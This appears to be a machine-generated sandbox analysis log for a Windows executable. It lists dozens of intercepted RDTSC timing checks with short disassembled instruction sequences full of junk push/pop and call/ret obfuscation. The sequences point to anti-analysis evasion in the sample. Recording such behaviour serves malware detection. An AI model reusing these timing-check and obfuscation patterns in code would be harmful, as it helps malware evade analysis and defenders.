Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6863 second address: 4E6869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6AF7 second address: 4E6AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6AFB second address: 4E6B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6B01 second address: 4E6B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6B9E second address: 4E6BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6BA2 second address: 4E6BAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6D32 second address: 4E6D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7252 second address: 4E7257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E72F4 second address: 4E732C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], ebx 0x0000000a cld 0x0000000b nop 0x0000000c jp 00007F07BCC9CC56h 0x00000012 pushad 0x00000013 jmp 00007F07BCC9CC43h 0x00000018 jmp 00007F07BCC9CC3Bh 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E732C second address: 4E7332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7332 second address: 4E7337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E748F second address: 4E749E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E749E second address: 4E74A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E74A2 second address: 4E74AC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F07BCDD7696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E74AC second address: 4E74B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E74B2 second address: 4E74B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7826 second address: 4E783E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E783E second address: 4E7844 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7844 second address: 4E786B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a xchg eax, ebx 0x0000000b jmp 00007F07BCC9CC41h 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E786B second address: 4E7876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7DDF second address: 4E7DF4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007F07BCC9CC3Eh 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8739 second address: 4E873F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9757 second address: 4E975D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E975D second address: 4E9762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8F03 second address: 4E8F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9762 second address: 4E9768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9768 second address: 4E976C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA08E second address: 4EA094 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA094 second address: 4EA09A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA983 second address: 4EA989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA989 second address: 4EA98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC44F second address: 4EC473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007F07BCDD76A9h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA98E second address: 4EA9B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F07BCC9CC48h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jo 00007F07BCC9CC38h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC473 second address: 4EC478 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC478 second address: 4EC4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F07BCC9CC38h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 jmp 00007F07BCC9CC44h 0x00000029 push 00000000h 0x0000002b movzx esi, cx 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push ecx 0x00000032 pushad 0x00000033 popad 0x00000034 pop ecx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ECF69 second address: 4ECF73 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F07BCDD7696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ECF73 second address: 4ECF7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F07BCC9CC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F208B second address: 4F208F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F208F second address: 4F2099 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3884 second address: 4F388A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F388A second address: 4F388E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F388E second address: 4F3892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3892 second address: 4F38F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F07BCC9CC42h 0x0000000e nop 0x0000000f mov di, 1AD0h 0x00000013 push 00000000h 0x00000015 add edi, dword ptr [ebp+122D5B14h] 0x0000001b or edi, dword ptr [ebp+122D37D4h] 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F07BCC9CC38h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d js 00007F07BCC9CC44h 0x00000043 jmp 00007F07BCC9CC3Eh 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F38F9 second address: 4F3902 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F47C2 second address: 4F4808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F07BCC9CC3Eh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 pushad 0x00000011 mov bx, ax 0x00000014 mov dword ptr [ebp+122D36A8h], ebx 0x0000001a popad 0x0000001b push 00000000h 0x0000001d mov bx, dx 0x00000020 push 00000000h 0x00000022 sub dword ptr [ebp+1244B1EBh], esi 0x00000028 mov ebx, eax 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c pushad 0x0000002d jo 00007F07BCC9CC36h 0x00000033 jnp 00007F07BCC9CC36h 0x00000039 popad 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4808 second address: 4F4823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD769Eh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4823 second address: 4F4827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4827 second address: 4F482D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FAB9C second address: 4FABA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FBBC9 second address: 4FBC40 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F07BCDD76A4h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F07BCDD7698h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a cmc 0x0000002b push 00000000h 0x0000002d mov edi, ecx 0x0000002f jmp 00007F07BCDD769Bh 0x00000034 push 00000000h 0x00000036 mov bx, di 0x00000039 xchg eax, esi 0x0000003a push edi 0x0000003b jmp 00007F07BCDD76A3h 0x00000040 pop edi 0x00000041 push eax 0x00000042 jo 00007F07BCDD76A0h 0x00000048 pushad 0x00000049 pushad 0x0000004a popad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2835 second address: 4F2900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC46h 0x00000009 popad 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F07BCC9CC38h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 jmp 00007F07BCC9CC42h 0x0000002d push dword ptr fs:[00000000h] 0x00000034 mov bx, BA66h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f jmp 00007F07BCC9CC40h 0x00000044 mov eax, dword ptr [ebp+122D0009h] 0x0000004a push 00000000h 0x0000004c push edi 0x0000004d call 00007F07BCC9CC38h 0x00000052 pop edi 0x00000053 mov dword ptr [esp+04h], edi 0x00000057 add dword ptr [esp+04h], 0000001Dh 0x0000005f inc edi 0x00000060 push edi 0x00000061 ret 0x00000062 pop edi 0x00000063 ret 0x00000064 call 00007F07BCC9CC3Eh 0x00000069 and bh, FFFFFFA8h 0x0000006c pop ebx 0x0000006d push eax 0x0000006e movzx ebx, dx 0x00000071 pop edi 0x00000072 push FFFFFFFFh 0x00000074 mov ebx, dword ptr [ebp+122D3854h] 0x0000007a nop 0x0000007b push edi 0x0000007c jp 00007F07BCC9CC3Ch 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2900 second address: 4F2929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jg 00007F07BCDD7696h 0x0000000e jmp 00007F07BCDD76A2h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F07BCDD7696h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2929 second address: 4F292D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCB9F second address: 4FCC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jmp 00007F07BCDD76A5h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F07BCDD7698h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D310Bh], ecx 0x0000002d push 00000000h 0x0000002f mov ebx, dword ptr [ebp+122D369Bh] 0x00000035 push 00000000h 0x00000037 mov ebx, 21B01CA7h 0x0000003c push eax 0x0000003d pushad 0x0000003e push ecx 0x0000003f jnc 00007F07BCDD7696h 0x00000045 pop ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F07BCDD76A8h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCC18 second address: 4FCC1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8C16 second address: 4F8C1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9D09 second address: 4F9D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9DF5 second address: 4F9DF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9DF9 second address: 4F9E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9E03 second address: 4F9E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FAD14 second address: 4FADA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F07BCC9CC38h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D38CCh] 0x00000029 push dword ptr fs:[00000000h] 0x00000030 cld 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 mov ebx, 6D111220h 0x0000003d mov eax, dword ptr [ebp+122D1095h] 0x00000043 jnp 00007F07BCC9CC39h 0x00000049 push FFFFFFFFh 0x0000004b push 00000000h 0x0000004d push esi 0x0000004e call 00007F07BCC9CC38h 0x00000053 pop esi 0x00000054 mov dword ptr [esp+04h], esi 0x00000058 add dword ptr [esp+04h], 00000016h 0x00000060 inc esi 0x00000061 push esi 0x00000062 ret 0x00000063 pop esi 0x00000064 ret 0x00000065 cld 0x00000066 mov edi, 7633C145h 0x0000006b push eax 0x0000006c jp 00007F07BCC9CC59h 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F07BCC9CC47h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FBD6A second address: 4FBD74 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FDE8C second address: 4FDE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FDF56 second address: 4FDF5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FFF53 second address: 4FFF57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FEF3B second address: 4FEF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FEF40 second address: 4FEF45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FEF45 second address: 4FEF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500188 second address: 50018E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50018E second address: 500193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500193 second address: 5001A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F07BCC9CC3Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501FAB second address: 501FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50120D second address: 50121F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jns 00007F07BCC9CC36h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50414F second address: 504153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D7E0 second address: 50D804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F07BCC9CC36h 0x0000000a jmp 00007F07BCC9CC3Ah 0x0000000f jmp 00007F07BCC9CC3Fh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D804 second address: 50D83B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A1h 0x00000007 jnp 00007F07BCDD76A2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F07BCDD76C2h 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 jbe 00007F07BCDD7696h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D02C second address: 50D056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC45h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F07BCC9CC36h 0x00000014 jo 00007F07BCC9CC36h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511780 second address: 5117A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F07BCDD76A5h 0x0000000a popad 0x0000000b push eax 0x0000000c jnc 00007F07BCDD76B3h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5117A6 second address: 5117D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jc 00007F07BCC9CC36h 0x00000016 jnl 00007F07BCC9CC36h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5117D3 second address: 5117D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511A39 second address: 511A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F07BCC9CC36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F07BCC9CC36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2052 second address: 4A2066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD769Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2066 second address: 4A208A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F07BCC9CC49h 0x00000008 jmp 00007F07BCC9CC3Dh 0x0000000d jl 00007F07BCC9CC36h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
